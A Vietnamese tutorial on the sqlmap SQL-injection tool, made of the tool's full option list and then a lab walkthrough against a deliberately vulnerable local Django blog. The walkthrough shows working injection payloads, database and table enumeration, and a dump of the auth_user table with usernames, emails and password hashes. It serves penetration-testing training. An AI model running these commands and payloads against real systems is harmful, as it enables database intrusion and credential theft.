

Overview

Sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành từ xa.

Sqlmap hỗ trợ 5 kiểu tấn công khác nhau:

- Boolean-based
- Time-based
- Error-based
- Union query-based
- Stacked queries aka piggy backing:

Usage:

sqlmap [options]

*Options:

<code>-h, --help</code>	Show basic help message and exit
<code>-hh</code>	Show advanced help message and exit
<code>--version</code>	Show program's version number and exit
<code>-v VERBOSE</code>	Verbosity level: 0-6 (default 1)

***Target:** Ít nhất một trong những tùy chọn này phải được cung cấp để xác định (các) mục tiêu:

<code>-u URL, --url=URL</code>	Target URL (e.g. "http://www.site.com/vuln.php?id=1")
<code>-d DIRECT</code>	Connection string for direct database connection
<code>-l LOGFILE</code>	Parse target(s) from Burp or WebScarab proxy log file
<code>-m BULKFILE</code>	Scan multiple targets given in a textual file
<code>-r REQUESTFILE</code>	Load HTTP request from a file
<code>-g GOOGLEDORK</code>	Process Google dork results as target URLs
<code>-c CONFIGFILE</code>	Load options from a configuration INI file

***Request:** Các tùy chọn này có thể được sử dụng để chỉ định cách kết nối với URL mục tiêu:

-A AGENT, --user..	HTTP User-Agent header value
-H HEADER, --hea..	Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD	Force usage of given HTTP method (e.g. PUT)
--data=DATA	Data string to be sent through POST (e.g. "id=1")
--param-del=PARA..	Character used for splitting parameter values (e.g. &)
--cookie=COOKIE	HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO..	Character used for splitting cookie values (e.g. ;)
--live-cookies=L..	Live cookies file used for loading up-to-date values
--load-cookies=L..	File containing cookies in Netscape/wget format
--drop-set-cookie	Ignore Set-Cookie header from response
--mobile	Imitate smartphone through HTTP User-Agent header
--random-agent	Use randomly selected HTTP User-Agent header value
--host=HOST	HTTP Host header value
--referer=REFERER	HTTP Referer header value
--headers=HEADERS	Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH..	HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH..	HTTP authentication credentials (name:password)
--auth-file=AUTH..	HTTP authentication PEM cert/private key file
--ignore-code=IG..	Ignore (problematic) HTTP error code (e.g. 401)
--ignore-proxy	Ignore system default proxy settings
--ignore-redirects	Ignore redirection attempts
--ignore-timeouts	Ignore connection timeouts
--proxy=PROXY	Use a proxy to connect to the target URL
--proxy-cred=PRO..	Proxy authentication credentials (name:password)
--proxy-file=PRO..	Load proxy list from a file
--proxy-freq=PRO..	Requests between change of proxy from a given list
--tor	Use Tor anonymity network
--tor-port=TORPORT	Set Tor proxy port other than default
--tor-type=TORTYPE	Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor	Check to see if Tor is used properly
--delay=DELAY	Delay in seconds between each HTTP request
--timeout=TIMEOUT	Seconds to wait before timeout connection (default 30)
--retries=RETRIES	Retries when the connection timeouts (default 3)
--randomize=RPARAM	Randomly change value for given parameter(s)
--safe-url=SAFEURL	URL address to visit frequently during testing
--safe-post=SAFE..	POST data to send to a safe URL
--safe-req=SAFER..	Load safe HTTP request from a file
--safe-freq=SAFE..	Regular requests between visits to a safe URL
--skip-urlencode	Skip URL encoding of payload data
--csrf-token=CSR..	Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL	URL address to visit for extraction of anti-CSRF token
--csrf-method=CS..	HTTP method to use during anti-CSRF token page visit
--csrf-retries=C..	Retries for anti-CSRF token retrieval (default 0)
--force-ssl	Force usage of SSL/HTTPS
--chunked	Use HTTP chunked transfer encoded (POST) requests
--hpp	Use HTTP parameter pollution method
--eval=EVALCODE	Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()")

***Optimization:** Các tùy chọn này có thể được sử dụng để tối ưu hóa hiệu suất của sqlmap:

-o	Turn on all optimization switches
--predict-output	Predict common queries output
--keep-alive	Use persistent HTTP(s) connections
--null-connection	Retrieve page length without actual HTTP response body
--threads=THREADS	Max number of concurrent HTTP(s) requests (default 1)

***Injection:** Các tùy chọn này có thể được sử dụng để chỉ định các tham số nào cần kiểm tra, cung cấp tải trọng tiêm tùy chỉnh và tập lệnh giả mạo tùy chọn.

-p TESTPARAMETER	Testable parameter(s)
--skip=SKIP	Skip testing for given parameter(s)
--skip-static	Skip testing parameters that not appear to be dynamic
--param-exclude=..	Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P..	Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS	Force back-end DBMS to provided value
--dbms-cred=DBMS..	DBMS authentication credentials (user:password)
--os=OS	Force back-end DBMS operating system to provided value
--invalid-bignum	Use big numbers for invalidating values
--invalid-logical	Use logical operations for invalidating values
--invalid-string	Use random strings for invalidating values
--no-cast	Turn off payload casting mechanism
--no-escape	Turn off string escaping mechanism
--prefix=PREFIX	Injection payload prefix string
--suffix=SUFFIX	Injection payload suffix string
--tamper=TAMPER	Use given script(s) for tampering injection data

***Detection:** Các tùy chọn này có thể được sử dụng để tùy chỉnh giai đoạn phát hiện:

--level=LEVEL	Level of tests to perform (1-5, default 1)
--risk=RISK	Risk of tests to perform (1-3, default 1)
--string=STRING	String to match when query is evaluated to True
--not-string=NOT..	String to match when query is evaluated to False
--regex=REGEXP	Regexp to match when query is evaluated to True
--code=CODE	HTTP code to match when query is evaluated to True
--smart	Perform thorough tests only if positive heuristic(s)
--text-only	Compare pages based only on the textual content
--titles	Compare pages based only on their titles

***Techniques:** Các tùy chọn này có thể được sử dụng để điều chỉnh kiểm tra việc đưa vào SQL cụ thể kỹ thuật:

```
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
```

***Enumeration:** Các tùy chọn này có thể được sử dụng để liệt kê cơ sở dữ liệu back-end thông tin hệ thống quản lý, cấu trúc và dữ liệu có trong những bảng:

```
-a, --all           Retrieve everything
-b, --banner        Retrieve DBMS banner
--current-user      Retrieve DBMS current user
--current-db        Retrieve DBMS current database
--hostname          Retrieve DBMS server hostname
--is-dba            Detect if the DBMS current user is DBA
--users             Enumerate DBMS users
--passwords         Enumerate DBMS users password hashes
--privileges        Enumerate DBMS users privileges
--roles             Enumerate DBMS users roles
--dbs               Enumerate DBMS databases
--tables            Enumerate DBMS database tables
--columns           Enumerate DBMS database table columns
--schema            Enumerate DBMS schema
--count             Retrieve number of entries for table(s)
--dump              Dump DBMS database table entries
--dump-all          Dump all DBMS databases tables entries
--search            Search column(s), table(s) and/or database name(s)
--comments          Check for DBMS comments during enumeration
--statements        Retrieve SQL statements being run on DBMS
-D DB              DBMS database to enumerate
-T TBL             DBMS database table(s) to enumerate
-C COL             DBMS database table column(s) to enumerate
-X EXCLUDE         DBMS database identifier(s) to not enumerate
-U USER            DBMS user to enumerate
--exclude-sysdbs    Exclude DBMS system databases when enumerating tables
--pivot-column=P..  Pivot column name
--where=DUMPWHERE   Use WHERE condition while table dumping
--start=LIMITSTART  First dump table entry to retrieve
--stop=LIMITSTOP    Last dump table entry to retrieve
--first=FIRSTCHAR   First query output word character to retrieve
--last=LASTCHAR     Last query output word character to retrieve
--sql-query=SQLQ..  SQL statement to be executed
--sql-shell         Prompt for an interactive SQL shell
--sql-file=SQLFILE  Execute SQL statements from given file(s)
```

***Operating system access:** Các tùy chọn này có thể được sử dụng để truy cập vào quản lý cơ sở dữ liệu phía sau hệ điều hành cơ bản:

```
--os-cmd=OSCMD      Execute an operating system command
--os-shell           Prompt for an interactive operating system shell
--os-pwn             Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay        One click prompt for an OOB shell, Meterpreter or VNC
--os-bof             Stored procedure buffer overflow exploitation
--priv-esc           Database process user privilege escalation
--msf-path=MSFPATH   Local path where Metasploit Framework is installed
--tmp-path=TMPPATH   Remote absolute path of temporary files directory
```

Example attack SQLi in Blogapp Vul

B.1, Kiểm tra lỗi SQLi trên blog bằng câu lệnh

“sqlmap -u 'http://localhost:8000/search/?search=d&tagId=kinhnghiem' --batch” ta được kết quả:

```
Parameter: search (GET)
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=d';SELECT PG_SLEEP(5)--&tagId=kinhnghiem

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: search=d' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,(CHR(113)||CHR(107)||CHR(118)||CHR(87)||CHR(88)||CHR(78)||CHR(86)||CHR(73)||CHR(68)||CHR(85)||CHR(105)||CHR(70)||CHR(70)||CHR(90)||CHR(16)||CHR(72)||CHR(80))||(CHR(113)||CHR(112)||CHR(122)||CHR(113)||CHR(113))-- hwHP&tagId=kinhnghiem
---
```

B.2, Xác định database trên WEB bằng cách:

“sqlmap -u 'http://localhost:8000/search/?search=d&tagId=kinhnghiem' --batch --dbs”

ta được database:

```
available databases [1]:
[*] public
```

B.3, Lấy các bảng dữ liệu của database:

“sqlmap -u 'http://localhost:8000/search/?search=d&tagId=kinhnghiem' --batch -D public --tables”

ta sẽ được tất cả các bảng có trong database:

```
Database: public
[18 tables]
+-----+
| auth_group |
| auth_group_permissions |
| auth_permission |
| auth_user |
| auth_user_groups |
| auth_user_user_permissions |
| blogapp_comment |
| blogapp_post |
| blogapp_post_author_id |
| blogapp_post_tags |
| blogapp_role |
| blogapp_tags |
| blogapp_userprofile |
| blogapp_vul |
| django_admin_log |
| django_content_type |
| django_migrations |
| django_session |
+-----+
```

B.4, Bây giờ thì ta có thể truy xuất được các cột có trong các tables.

Ví dụ:

- Post: ***“sqlmap -u ‘http://localhost:8000 /search/?search=d&tagId=kinhnghiem’
-batch -D public -T blogapp_post --
columns”***

```
Database: public
Table: blogapp_post
[7 columns]
```

Column	Type
content	text
creat_time	timestampz
id	int8
images	varchar
status	varchar
title	varchar
update_time	timestampz

- User: ***“sqlmap -u ‘http://localhost:8000 /search/?search=d&tagId=kinhnghiem’
-batch -D public -T auth_user --columns”***

```
Database: public
Table: auth_user
[11 columns]
```

Column	Type
date_joined	timestampz
email	varchar
first_name	varchar
id	int4
is_active	bool
is_staff	bool
is_superuser	bool
last_login	timestampz
last_name	varchar
password	varchar
username	varchar

B.5, Từ các cột ta có thể truy xuất ra được dữ liệu mong muốn:

Ví dụ:

- Post: “sqlmap -u 'http://localhost:8000/search/?search=d&tagId=kinhnghiem' --batch -D public -T blogapp_post -C title,creat_time,status -dump”

```
Database: public
Table: blogapp_post
[4 entries]
```

title	creat_time	status
Diversity in Engineering	2016-06-23 02:10:25+00	abc1 status
Diversity in Engineering	2016-06-23 02:10:25+00	abc2 status
Diversity in Engineering	2016-06-23 02:10:25+00	abc3 status
Diversity in Engineering	2016-06-23 02:10:25+00	abc4 status

User: “sqlmap -u 'http://localhost:8000/search/?search=d&tagId=kinhnghiem' --batch -D public -T auth_user -C username,password,email,date_joined -dump”

```
Database: public
Table: auth_user
[5 entries]
```

username	password	email	date_joined
abc1	pbkdf2_sha256\$260000\$U18SAlmQ1H8jvTt9aCY8BK\$ZyHQ/pQndo1UWu8RXV09L503VNWsmlspVKxn5kamwr0=	abc1@a.com	2016-06-23 02:10:25+00
admin	pbkdf2_sha256\$260000\$hWYzIogLY6LqP47hRBYUrh\$8+ba/ezXlND0LzmdJyou1tt6u7Wjb8ZmXidvLIInkJsw=	admin@a.com	2016-06-23 02:10:25+00
tuando2	pbkdf2_sha256\$260000\$C3aAn0etlyIIuvQYi3QBhl\$+uZf54fcyAiumfGRI5ZL00pAL0VQZFw4Rd44Z3Sd9UY=	tuan@mail.com	2021-06-15 08:35:07.787938+00
tuando22	pbkdf2_sha256\$260000\$aBflwYwObqLzN2ql867wLc\$H3uhP2jzHVj2hXpUIYHhMh7jsrH+1rKLSJdLaiH9xNE=	tuan@mail.com	2021-06-15 08:36:06.14024+00
tuando221	pbkdf2_sha256\$260000\$u5jePuGtE1Qxp9dnzWxsOe\$1jo1Dk9vEN1ani8CqZZ1fEoh9y9bQKHecukQeli2wmc=	tuan@mail.com	2021-06-15 08:37:49.852057+00

.....

The End